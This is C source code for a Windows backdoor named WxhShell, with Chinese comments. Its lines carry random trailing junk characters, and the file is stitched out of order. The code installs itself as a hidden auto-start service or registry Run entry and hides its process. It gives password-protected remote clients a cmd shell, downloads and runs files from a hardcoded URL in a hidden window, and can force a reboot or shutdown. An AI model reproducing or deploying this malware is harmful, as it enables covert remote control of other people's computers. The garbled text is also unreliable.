    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ATeXOe  
    else { W[dMf!(  
    closesocket(wsh); `mI% Se  
    ExitThread(0); ]wMp`}$b@L  
    } }> 51oBgk_  
    break; e<wRA["  
    } 0P5!fXs*  
  // 获取shell 9}4EW4  
  case 's': { )6S;w7  
    CmdShell(wsh); "dKYJ&$  
    closesocket(wsh); $J~~.PUXQ  
    ExitThread(0); +Oae3VFf;  
    break; >gt_C'  
  }  9"@P.8_  
  // 退出 jJpSn[{  
  case 'x': { r "^ {?0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I92c!`{  
    CloseIt(wsh); >PsP y.  
    break; a?+Ni|+  
    } !f(aWrw7e6  
  // 离开 :Rs% (Z  
  case 'q': { )$#r6fQO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dh7PpuN{  
    closesocket(wsh); !U,^+"l'GP  
    WSACleanup(); -jZP&8dPH  
    exit(1); 3X+uJb2  
    break; !Q,A#N(  
        } S=Ihg  
  } b}G4eXkuj  
  } a<.7q1F  
>.D0McQg  
  // 提示信息 }OeEv@^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dYg}qad5:  
} L`i#yXR  
  } +s6 wF{  
${$XJs4  
  return; 2$D *~~  
} 5G~;g  
u_aln[oIv  
// shell模块句柄 dVDQ^O&  
int CmdShell(SOCKET sock) 9<An^lLK*  
{ /`iBv8!  
STARTUPINFO si; TA47lz q  
ZeroMemory(&si,sizeof(si)); 7'[C+/:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #]s>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z=O2tR  
PROCESS_INFORMATION ProcessInfo; 7Q<uk[d0  
char cmdline[]="cmd"; +uF!.!}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Od4( }/G  
  return 0; Sx,O)  
} :E|HP#iwu  
nL}bCX{  
// 自身启动模式 k'N `5M)  
int StartFromService(void) IJ^KYho  
{ }2Lh'0 xY  
typedef struct )x.}B4z  
{ k_9tz}Z  
  DWORD ExitStatus; p[(VhbN  
  DWORD PebBaseAddress; Ejdw"P"  
  DWORD AffinityMask; %h** L'~``  
  DWORD BasePriority; #@,39!;,:O  
  ULONG UniqueProcessId; 8Ek<J+& |I  
  ULONG InheritedFromUniqueProcessId; #e.2m5T  
}   PROCESS_BASIC_INFORMATION; Na^1dn  
khl(9R4a  
PROCNTQSIP NtQueryInformationProcess; :&= TE2  
L~1u?-zu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &* 4uji  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &XosDt  
fGiN`j} j  
  HANDLE             hProcess; i0uBb%GMT  
  PROCESS_BASIC_INFORMATION pbi; u93=>S  
0(s0<9s%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d\`A ^  
  if(NULL == hInst ) return 0; 0lNVQxG  
7z \I\8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'sJ=h0d_[V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <^,w,A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2}u hPW+  
Fzk  
  if (!NtQueryInformationProcess) return 0; y D.S"  
?JTy+V2t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f>JuxX\G  
  if(!hProcess) return 0; pN<wO1\9  
lgZ3=h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m",wjoZe*  
g$~3@zD  
  CloseHandle(hProcess); WYTeu "  
XG"&\FL{T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %}cGAHV  
if(hProcess==NULL) return 0; &0Zn21q  
Ebp^-I9.d  
HMODULE hMod; 8NJ(l  
char procName[255]; @<--5HbX  
unsigned long cbNeeded; Nt#zr]Fz  
yy4QY%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?7@Y=7BS4  
@EzSosmF  
  CloseHandle(hProcess); ]Ff"o7gT  
(LPMEQhI:  
if(strstr(procName,"services")) return 1; // 以服务启动 P}o:WI4.cB  
GZ\;M6{oh  
  return 0; // 注册表启动 58*s\*V` \  
} SN|EWe^  
(yE?)s  
// 主模块 ~=HN30  
int StartWxhshell(LPSTR lpCmdLine) w[z^B&  
{ ~.M{n&NM  
  SOCKET wsl; bD<[OerG  
BOOL val=TRUE; 9|T%q2O  
  int port=0; nM  D^x  
  struct sockaddr_in door; ahkSEE{  
M#on-[  
  if(wscfg.ws_autoins) Install(); qUSImgg  
v$"#9oh  
port=atoi(lpCmdLine); \t'(&taX<  
 IpY  R  
if(port<=0) port=wscfg.ws_port; g^(wZ$NH  
9iWDEk  
  WSADATA data; s;q]:+#7g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xA]CtB*o7  
<CJua1l\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gF1q Z=<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >z6 (fM`i  
  door.sin_family = AF_INET; `h12  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {zBf*x  
  door.sin_port = htons(port); r00waw>C\  
C$\|eC j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <OF7:f  
closesocket(wsl); o:_}=1nh  
return 1; s S8Z5k;  
} ^8aj\xe(  
u&`7 C  
  if(listen(wsl,2) == INVALID_SOCKET) { Mjq1qEi"B  
closesocket(wsl); #EAP<h  
return 1; !v^D}P 3Y  
} A] pLq`  
  Wxhshell(wsl); Q,Vv  
  WSACleanup(); }pj>BK>  
elb|=J`M0  
return 0; ?U~C= F?K  
]y@8mb&  
} K8doYN  
n'0^l?V  
// 以NT服务方式启动 dlN(_6>b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aOfL;I  
{ #gi0FXL  
DWORD   status = 0; -W wFUm  
  DWORD   specificError = 0xfffffff; < i*v  
=C 8 t5BZ"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *PE 1)bF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X>EwJ"q#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jt"0|+g|  
  serviceStatus.dwWin32ExitCode     = 0; XodA(73`i  
  serviceStatus.dwServiceSpecificExitCode = 0; M~w =ZJ@  
  serviceStatus.dwCheckPoint       = 0; v0|A N  
  serviceStatus.dwWaitHint       = 0; fM?HZKo  
=v=a:e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t>f<4~%MJ  
  if (hServiceStatusHandle==0) return; I\PhgFt@O  
m v%fX2.  
status = GetLastError(); G>&=rmK"  
  if (status!=NO_ERROR) pj&vnX6O^  
{ B:)9hF?o@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8AT;9wZqt  
    serviceStatus.dwCheckPoint       = 0; |{+D65R  
    serviceStatus.dwWaitHint       = 0; v9INZ1# v  
    serviceStatus.dwWin32ExitCode     = status; 9=pG$+01OR  
    serviceStatus.dwServiceSpecificExitCode = specificError; g}0}$WgH:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Vt7[L*  
    return; dON 4r2-yC  
  } qI\qpWS\  
CE-ySIa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r9 'lFj  
  serviceStatus.dwCheckPoint       = 0; < i"U%Ds(  
  serviceStatus.dwWaitHint       = 0; P0S ;aE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *:bNK5I.t  
} Ji4c8*&Jpc  
z+FhWze  
// 处理NT服务事件,比如:启动、停止 LEvdPG$)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h<\o[n7j  
{ A:ls'MkZ4  
switch(fdwControl) ?JDZDPVJ)  
{ {o< 4 ^  
case SERVICE_CONTROL_STOP: aM5zYj`pW  
  serviceStatus.dwWin32ExitCode = 0; +[8s9{1{C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mb~w .~%  
  serviceStatus.dwCheckPoint   = 0; vC[)/w  
  serviceStatus.dwWaitHint     = 0; S9}P 5;u  
  { g4!zH};n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ }>1$kH;  
  } XWZ *{/u  
  return; ^;n,C+  
case SERVICE_CONTROL_PAUSE: bEP-I5j1t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 23@e?A=C  
  break; KB <n-'  
case SERVICE_CONTROL_CONTINUE: HS.3PE0^C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LF* 7;a  
  break; rc1EJ(c  
case SERVICE_CONTROL_INTERROGATE: Um]>B`."wK  
  break; u& ?J+  
}; a h>k=t8(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QgO@oV*S  
} {^>m3  
JYOyz+wNd  
// 标准应用程序主函数 j':Ybr>BR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S*Un$ngAh  
{ H>_ FCV8  
A>(m}P  
// 获取操作系统版本 *,{. oO9#  
OsIsNt=GetOsVer(); &N GYV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RN238]K  
\Xc6K!HJM  
  // 从命令行安装 {EGiGwpf  
  if(strpbrk(lpCmdLine,"iI")) Install(); EMzJJe{Cv  
p8hF`D~  
  // 下载执行文件 9"1 0:\U  
if(wscfg.ws_downexe) { _ $PZID  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KL,=Z&.<=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3&_O\nD  
} P;bl+a'gu  
BRYhL|d~.  
if(!OsIsNt) { v>YdPQky  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^%-$8sV  
HideProc(); DhV($&*M  
StartWxhshell(lpCmdLine); su/l'p'  
} )Y}t~ Zfx  
else SLpB$puS  
  if(StartFromService()) ~'KymarPU  
  // 以服务方式启动 LOpn PH`  
  StartServiceCtrlDispatcher(DispatchTable); D oX!P|*  
else &0SX*KyI  
  // 普通方式启动 f;`pj`-k%  
  StartWxhshell(lpCmdLine); dX{|-;6vm  
db$Th=s[  
return 0; .pNWpWL.  
} )dgXS//Y  
7)!(0.&  
$UavM|  
m]} E0  
=========================================== K,bv\j;f  
UhYeyT  
U(3+*'8r,1  
/+pbO-rW*  
I>o+INb:  
d a we!w!  
" T^g2N`w2  
Rnt&<|8G  
#include <stdio.h> 6js94ko[  
#include <string.h> <#<4A0:  
#include <windows.h> QCQku\GLV  
#include <winsock2.h> IlG)=?8XZ  
#include <winsvc.h> Wz}RJC7p  
#include <urlmon.h> _*h,,Q  
eU 'DQp*  
#pragma comment (lib, "Ws2_32.lib") Ls)y.u  
#pragma comment (lib, "urlmon.lib") l-xKfp`  
b|U&{I>TH  
#define MAX_USER   100 // 最大客户端连接数 zJWBovT/  
#define BUF_SOCK   200 // sock buffer *gfx'$  
#define KEY_BUFF   255 // 输入 buffer zQM3n =y  
ce th)Xm  
#define REBOOT     0   // 重启 BM!\U 6  
#define SHUTDOWN   1   // 关机 >B/ jTn5=  
a_XM2dc%  
#define DEF_PORT   5000 // 监听端口 "-Gjw B  
S%<RV6{aiM  
#define REG_LEN     16   // 注册表键长度 \.y|=Ql_u  
#define SVC_LEN     80   // NT服务名长度 IJ2]2FI  
tp<uN~rTgh  
// 从dll定义API 3?SofPtc/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *#-X0}'s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4V9DPBh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WL$Ee=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); By(:%=.  
a5ZU"6Hi  
// wxhshell配置信息 { 2G9>'  
struct WSCFG { l?v`kAMR  
  int ws_port;         // 监听端口 tgK$}#.*  
  char ws_passstr[REG_LEN]; // 口令 uSCF;y=1g,  
  int ws_autoins;       // 安装标记, 1=yes 0=no QEK,mc3  
  char ws_regname[REG_LEN]; // 注册表键名 {Ak{ ct\t  
  char ws_svcname[REG_LEN]; // 服务名 t=syo->  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [T#5$J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H_KE^1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R}njFQvS)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QLrFAV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wc [@,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a)=WDRk  
Ac;rMwXk#  
}; qOYCQ  
rStfluPL  
// default Wxhshell configuration vKN"o* q  
struct WSCFG wscfg={DEF_PORT, 3-#|6khqt  
    "xuhuanlingzhe", O9*cV3}H  
    1, ss63/   
    "Wxhshell", ]Aap4+s  
    "Wxhshell", E;$)Oz  
            "WxhShell Service", >y)(M(o  
    "Wrsky Windows CmdShell Service", Ug02G  
    "Please Input Your Password: ", e\x=4i  
  1, <6^MVaD  
  "http://www.wrsky.com/wxhshell.exe", {WUW.(^]G  
  "Wxhshell.exe" y>wrm:b-O  
    }; >FED*C4  
?#?[6t  
// 消息定义模块 ks|[`FH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BqC, -gC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LW6&^S?4{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =S/$h}Vi  
char *msg_ws_ext="\n\rExit."; maQE Bi,  
char *msg_ws_end="\n\rQuit."; >yFEUD:  
char *msg_ws_boot="\n\rReboot..."; 6z v+Av:  
char *msg_ws_poff="\n\rShutdown..."; 0jCYOl  
char *msg_ws_down="\n\rSave to "; cnr&%-  
+shT}$cb1  
char *msg_ws_err="\n\rErr!"; ;@p2s'(  
char *msg_ws_ok="\n\rOK!"; OrP-+eg  
sW!pMkd_  
char ExeFile[MAX_PATH]; 4q#6.E;yy  
int nUser = 0; 6Ug( J$Ouh  
HANDLE handles[MAX_USER]; s\QhCS  
int OsIsNt; RK?b/9y  
P\ \4 w)C  
SERVICE_STATUS       serviceStatus; 2`>/y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #~?Q?"  
&os9K)  
// 函数声明 @s!9 T  
int Install(void); Kn3qq  
int Uninstall(void); {N1Ss|6  
int DownloadFile(char *sURL, SOCKET wsh); wuE]ju<  
int Boot(int flag); fy04/_,q  
void HideProc(void); ,ButNB v  
int GetOsVer(void); `$oGgz6ZT  
int Wxhshell(SOCKET wsl); l'=H,8LfA  
void TalkWithClient(void *cs); <,p|3p3  
int CmdShell(SOCKET sock); *O-1zIlp  
int StartFromService(void); bOjvrg;Sz\  
int StartWxhshell(LPSTR lpCmdLine); Poy ]5:.  
o`S|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UwOZBF<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .,zrr&Po  
yoa"21E$  
// 数据结构和表定义 vaL+@Kq~&  
SERVICE_TABLE_ENTRY DispatchTable[] = (dD+?ZOO  
{ #(& ! ^X3  
{wscfg.ws_svcname, NTServiceMain}, usEd p  
{NULL, NULL} gQaBQq9  
}; A6ipA /_  
P5s'cPX  
// 自我安装 J'^H@L/E  
int Install(void) ]oB-qfbH  
{ 5=%:CN!/@p  
  char svExeFile[MAX_PATH]; @igGfYy  
  HKEY key; *y[i~{7:  
  strcpy(svExeFile,ExeFile); ?"f\"N  
*i zPLM}+  
// 如果是win9x系统,修改注册表设为自启动 K] ;`  
if(!OsIsNt) { QA?e2kd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^@?-YWt   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (|%YyRaX  
  RegCloseKey(key); rlG& wX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m<L.H33'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~EJVlj i  
  RegCloseKey(key); $g&,$7}O_  
  return 0; SK f9 yS#  
    } U-/-aNJ]U  
  } {n9]ej^  
} y ,][  
else { w$I<WS{J:Z  
\49LgN@\  
// 如果是NT以上系统,安装为系统服务 w@&g9e6E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9sYN7x  
if (schSCManager!=0) 6 ,jp-`  
{ h+EG) <  
  SC_HANDLE schService = CreateService .ko8`J%%M  
  (  d(PS  
  schSCManager, ^Wb|Pl  
  wscfg.ws_svcname, m(Ghe2T:  
  wscfg.ws_svcdisp, Cv7FVl-I  
  SERVICE_ALL_ACCESS, RC(fhqV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =#)Zm?[;  
  SERVICE_AUTO_START, 5J!ncLNm{  
  SERVICE_ERROR_NORMAL, FPj j1U`C  
  svExeFile, I4]|r k9  
  NULL, g/H:`J  
  NULL, pw;  
  NULL, 3^p<Wx  
  NULL, (!kd9uV  
  NULL /G)Y~1ASA%  
  ); pqmb&"l  
  if (schService!=0) .b'o}DLa  
  { AITV+=sN  
  CloseServiceHandle(schService); &t .9^;(  
  CloseServiceHandle(schSCManager); \hGo D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^rF{%1DT  
  strcat(svExeFile,wscfg.ws_svcname); cp@(y$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . ] =$((  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @0}Q"15,I  
  RegCloseKey(key); ]|NwC <  
  return 0; ho*44=j  
    } TI '(  
  } ;-SFK+)R"  
  CloseServiceHandle(schSCManager); GilaON*pK.  
} U~{fbS3,  
} ut26sg{s(  
Y:|_M3&'o  
return 1; piq1cV  
} a/ d'(]  
kMD:~ V  
// 自我卸载 QLNQE6-  
int Uninstall(void) Pl|e?Np  
{ -$Y@]uf^  
  HKEY key; + 3+^J?N  
fq*. 4s #  
if(!OsIsNt) { ?-"xP'#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E]G#"EV!Y  
  RegDeleteValue(key,wscfg.ws_regname); ?UD2}D[M  
  RegCloseKey(key); k-5Enbkr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0*?/s\>PS;  
  RegDeleteValue(key,wscfg.ws_regname); EW;R^?Z  
  RegCloseKey(key); K_\fO|<k  
  return 0; 7A7=~:l\G  
  } 5Ym/'eT  
} #"tHT<8u  
} JNY;;9o  
else { lPcp 17U  
[x}]sT`#a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V&7jd7 2{  
if (schSCManager!=0) 5AmY rXZ  
{ `[T|Ck5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N}ur0 'J0  
  if (schService!=0) V6)e Jy  
  { bWc3a  
  if(DeleteService(schService)!=0) { pqaQ%|<  
  CloseServiceHandle(schService); 63hOK  
  CloseServiceHandle(schSCManager); z#qlu=  
  return 0; \i Ylh HD  
  } M%dJqwH5{  
  CloseServiceHandle(schService); B>kx$_~  
  } =,Y i" E  
  CloseServiceHandle(schSCManager); Pba 6Ay6B  
} 4F_*,_Y  
} CiE  
h-0sDt pR  
return 1; 'FB?#C%U  
} 6=V&3|"  
FD?!bI4  
// 从指定url下载文件 jJ^p ?  
int DownloadFile(char *sURL, SOCKET wsh) VCOz?Y*  
{ {d`e9^Z:  
  HRESULT hr; S+c)  
char seps[]= "/"; ~udi=J |  
char *token; b"U{@  
char *file; 25xpq^Zw  
char myURL[MAX_PATH]; eKd F-;  
char myFILE[MAX_PATH]; D ff0$06Nq  
r>fx5 5dw  
strcpy(myURL,sURL); ]y*AA58;  
  token=strtok(myURL,seps); MB$K ?"Y  
  while(token!=NULL) bZ!*s  
  { 9qIdwDRY  
    file=token; cID{X&or  
  token=strtok(NULL,seps); H{*~d+:ol  
  } p4m9@ \gn  
w+ZeVZv!r  
GetCurrentDirectory(MAX_PATH,myFILE); CA2 ,  
strcat(myFILE, "\\"); /P<K)a4GM  
strcat(myFILE, file); qTM,'7Rwn  
  send(wsh,myFILE,strlen(myFILE),0); KPGo*mY  
send(wsh,"...",3,0); SrMg=a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BMlnzi  
  if(hr==S_OK) Lf+M +^l  
return 0; :r0?[#r?N,  
else m.ib#Y)y  
return 1; y%.^| G  
an+`>}]F  
} m/#)B6@A  
A%H"a+  
// 系统电源模块 IipG?v0z~  
int Boot(int flag) #]nH$Kq  
{ sFNBrL  
  HANDLE hToken; O`2;n.>\  
  TOKEN_PRIVILEGES tkp; 56i9V9{2  
Xo[={2_  
  if(OsIsNt) { ya7/&Z )0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I;dc[m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]IQTf5n  
    tkp.PrivilegeCount = 1; [}snKogp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jkd'2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #R&D gt  
if(flag==REBOOT) { GC(:}e|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _8$arjx=  
  return 0; #DMt<1#:  
} 9I0}:J;7  
else { NUVFG;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qsnZ?hXPp  
  return 0; a4gJ-FE  
} mSSDV0Pfn  
  } Obd@#uab  
  else { \$o5$/oU(  
if(flag==REBOOT) { =5bef8O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E? > ERO3  
  return 0; @di mZsi1  
} w i,}sEoM  
else { 8c-r;DE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~(4;P%L:  
  return 0; eR,ePyA;  
} ,k}-I65M*t  
} s)HLFdis@  
p<#WueR[  
return 1; OQt_nb#z`{  
} \XaKq8uE  
#'}?.m  
// win9x进程隐藏模块 G }B)bM2  
void HideProc(void) V gLnpPOQ  
{ pWY $aI  
E/MD]ox  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +Tnn'^4  
  if ( hKernel != NULL ) ,tt]C~\u  
  { zS]8ma  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  /="~Jo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J[6`$$l0  
    FreeLibrary(hKernel); IbFS8 *a\  
  } 'C iV=&3/  
&jJj6 +P\  
return; "<f"r#   
} |X:"AH"S  
rr/0pa$  
// 获取操作系统版本 V/C":!;  
int GetOsVer(void) Fk01j;k.H  
{ J&mZsa)4  
  OSVERSIONINFO winfo; 7[=MgnmuC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N"A863>  
  GetVersionEx(&winfo); JDi\?m d.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gt >*y.]  
  return 1; H_H3Gp  
  else l42 3+vo  
  return 0; @w?y;W!a>  
} sFh mp  
?];?3X~|  
// 客户端句柄模块 |Nx7jGd:i  
int Wxhshell(SOCKET wsl) AUZ^XiK  
{ h B@M5Mc$  
  SOCKET wsh; v#yeiE4  
  struct sockaddr_in client; N@Fof(T&  
  DWORD myID; i7N|p9O.  
PNNY_t +I  
  while(nUser<MAX_USER) .d}7c!  
{ ;8!L*uMI  
  int nSize=sizeof(client); QU&LC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /r Q4JoR>  
  if(wsh==INVALID_SOCKET) return 1; ,OGXH2!h  
(e,5 b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >M~wFs$~  
if(handles[nUser]==0) 'Ipp1a Z_M  
  closesocket(wsh); M$@Donx  
else  D`Tx,^E  
  nUser++; S3cV^CzNg  
  } 9Tju+KcK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ) ?L  
Gp&o  
  return 0; >)V1aLu=  
} Ze?(N~  
wtm=  
// 关闭 socket vz{Z tE"  
void CloseIt(SOCKET wsh) (g>8!Gl  
{ }iOFB&)w  
closesocket(wsh); k;)t}7(  
nUser--; $7\!  
ExitThread(0); [ \41  
} BH@b]bEJ  
6qAs$[  
// 客户端请求句柄 /b ]Yya#  
void TalkWithClient(void *cs) fWutB5?P  
{ Imv ]V6"D=  
;";#{B:  
  SOCKET wsh=(SOCKET)cs; 5Xe1a'n5]  
  char pwd[SVC_LEN]; -c_}^j  
  char cmd[KEY_BUFF]; N,oN3mFF  
char chr[1]; p|q}z/  
int i,j; G\\0N^v  
uaiCyh1:  
  while (nUser < MAX_USER) { Oo-%;l`&  
=.<S3?  
if(wscfg.ws_passstr) { T^b62j'b5_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @_:Jm tH<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DrY5Q&S  
  //ZeroMemory(pwd,KEY_BUFF); B'@a36  
      i=0; *F_ dP  
  while(i<SVC_LEN) { q3SYlL'a  
\H6[6*JuB  
  // 设置超时 h3udS{9 '8  
  fd_set FdRead; ,sk0){rW  
  struct timeval TimeOut; <"}Gvi  
  FD_ZERO(&FdRead); (hb\1 wZ  
  FD_SET(wsh,&FdRead);  ~[wh  
  TimeOut.tv_sec=8; 76'vsg  
  TimeOut.tv_usec=0; AhNy+p{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bkq3-rX\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7?[{/`k~?  
q%rfKHMA50  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); udjahI<{  
  pwd=chr[0]; )9PP3"I  
  if(chr[0]==0xd || chr[0]==0xa) { )"]Nf6  
  pwd=0; GELx S!  
  break; @An "ClDa  
  } Y)7LkZO(y  
  i++; '9w.~@7  
    } 3%J7_e'  
sz?/4tY  
  // 如果是非法用户,关闭 socket p1mY@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6q8b>LG|  
} 5PCMxjon  
QnJ(C]cW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fh3>y2 `/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wu\szI"  
|J_kS90=  
while(1) { j,%<16f^A  
'u)zQAaw.  
  ZeroMemory(cmd,KEY_BUFF); kpQXnDm 2  
!K0:0:  
      // 自动支持客户端 telnet标准   zHT22o56X  
  j=0; <h vVh9  
  while(j<KEY_BUFF) { r\x"nS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `'gadCTb=  
  cmd[j]=chr[0]; 4?vTuZ/ M  
  if(chr[0]==0xa || chr[0]==0xd) { hG8 !aJo  
  cmd[j]=0; u\uYq  
  break; >bo_  
  }  55<f  
  j++; Cxt_QyL?  
    } :v(fgS2\  
=Ll:Ba Q  
  // 下载文件 ]a ,H!0i  
  if(strstr(cmd,"http://")) { VuiK5?m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `62iW3y  
  if(DownloadFile(cmd,wsh)) ~|>q)4is6a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !-OPzfHrI  
  else #+ <"`}]N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sj`GP p  
  } iFi6,V*PRt  
  else { FkS$x'~2$  
>3J?O96|f  
    switch(cmd[0]) { >w}5\ 4j  
  E/Ng   
  // 帮助 B>!OW2q0D  
  case '?': { G[[hC[}I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;hcOD4or  
    break; uv}?8$<\  
  } 10C,\  
